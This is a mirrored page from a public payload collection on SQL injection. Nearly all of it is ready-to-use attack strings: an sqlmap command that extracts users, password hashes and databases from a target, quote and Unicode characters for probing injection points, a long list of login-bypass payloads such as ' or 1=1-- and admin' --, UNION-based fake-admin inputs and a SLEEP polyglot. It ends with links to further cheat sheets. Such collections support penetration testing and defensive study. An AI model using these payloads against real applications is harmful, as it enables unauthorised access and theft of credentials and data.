mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-14 15:22:51 +00:00
132 lines
No EOL
3.5 KiB
Markdown
132 lines
No EOL
3.5 KiB
Markdown
# SQL injection
|
|
A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application
|
|
|
|
## SQL injection using SQLmap
|
|
```
|
|
sqlmap --url="<url>" -p username --user-agent=SQLMAP --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs
|
|
```
|
|
|
|
## Entry point detection
|
|
Detection of an SQL injection entry point
|
|
```
|
|
'
|
|
"
|
|
%27
|
|
" / %22
|
|
; / %3B
|
|
%%2727
|
|
%25%27
|
|
`+HERP
|
|
'||'DERP
|
|
'+'herp
|
|
' ' DERP
|
|
Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
|
|
transformed into U+0022 QUOTATION MARK (")
|
|
Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
|
|
transformed into U+0027 APOSTROPHE (')
|
|
```
|
|
|
|
## Authentication bypass
|
|
```
|
|
'-'
|
|
' '
|
|
'&'
|
|
'^'
|
|
'*'
|
|
' or ''-'
|
|
' or '' '
|
|
' or ''&'
|
|
' or ''^'
|
|
' or ''*'
|
|
"-"
|
|
" "
|
|
"&"
|
|
"^"
|
|
"*"
|
|
" or ""-"
|
|
" or "" "
|
|
" or ""&"
|
|
" or ""^"
|
|
" or ""*"
|
|
or true--
|
|
" or true--
|
|
' or true--
|
|
") or true--
|
|
') or true--
|
|
' or 'x'='x
|
|
') or ('x')=('x
|
|
')) or (('x'))=(('x
|
|
" or "x"="x
|
|
") or ("x")=("x
|
|
")) or (("x"))=(("x
|
|
or 1=1
|
|
or 1=1--
|
|
or 1=1#
|
|
or 1=1/*
|
|
admin' --
|
|
admin' #
|
|
admin'/*
|
|
admin' or '1'='1
|
|
admin' or '1'='1'--
|
|
admin' or '1'='1'#
|
|
admin' or '1'='1'/*
|
|
admin'or 1=1 or ''='
|
|
admin' or 1=1
|
|
admin' or 1=1--
|
|
admin' or 1=1#
|
|
admin' or 1=1/*
|
|
admin') or ('1'='1
|
|
admin') or ('1'='1'--
|
|
admin') or ('1'='1'#
|
|
admin') or ('1'='1'/*
|
|
admin') or '1'='1
|
|
admin') or '1'='1'--
|
|
admin') or '1'='1'#
|
|
admin') or '1'='1'/*
|
|
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
|
|
admin" --
|
|
admin" #
|
|
admin"/*
|
|
admin" or "1"="1
|
|
admin" or "1"="1"--
|
|
admin" or "1"="1"#
|
|
admin" or "1"="1"/*
|
|
admin"or 1=1 or ""="
|
|
admin" or 1=1
|
|
admin" or 1=1--
|
|
admin" or 1=1#
|
|
admin" or 1=1/*
|
|
admin") or ("1"="1
|
|
admin") or ("1"="1"--
|
|
admin") or ("1"="1"#
|
|
admin") or ("1"="1"/*
|
|
admin") or "1"="1
|
|
admin") or "1"="1"--
|
|
admin") or "1"="1"#
|
|
admin") or "1"="1"/*
|
|
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
|
|
```
|
|
|
|
## Polyglot injection (multicontext)
|
|
```
|
|
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
|
```
|
|
|
|
## Thanks to - Other resources
|
|
* MySQL:
|
|
- [PentestMonkey's mySQL injection cheat sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet)
|
|
- [Reiners mySQL injection Filter Evasion Cheatsheet] (https://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/)
|
|
* MSQQL:
|
|
- [EvilSQL's Error/Union/Blind MSSQL Cheatsheet] (http://evilsql.com/main/page2.php)
|
|
- [PentestMonkey's MSSQL SQLi injection Cheat Sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet)
|
|
* ORACLE:
|
|
- [PentestMonkey's Oracle SQLi Cheatsheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet)
|
|
* POSTGRESQL:
|
|
- [PentestMonkey's Postgres SQLi Cheatsheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet)
|
|
* Others
|
|
- [Access SQLi Cheatsheet] (http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
|
|
- [PentestMonkey's Ingres SQL Injection Cheat Sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/ingres-sql-injection-cheat-sheet)
|
|
- [Pentestmonkey's DB2 SQL Injection Cheat Sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/db2-sql-injection-cheat-sheet)
|
|
- [Pentestmonkey's Informix SQL Injection Cheat Sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/informix-sql-injection-cheat-sheet)
|
|
- [SQLite3 Injection Cheat sheet] (https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet)
|
|
- [Ruby on Rails (Active Record) SQL Injection Guide] (http://rails-sqli.org/) |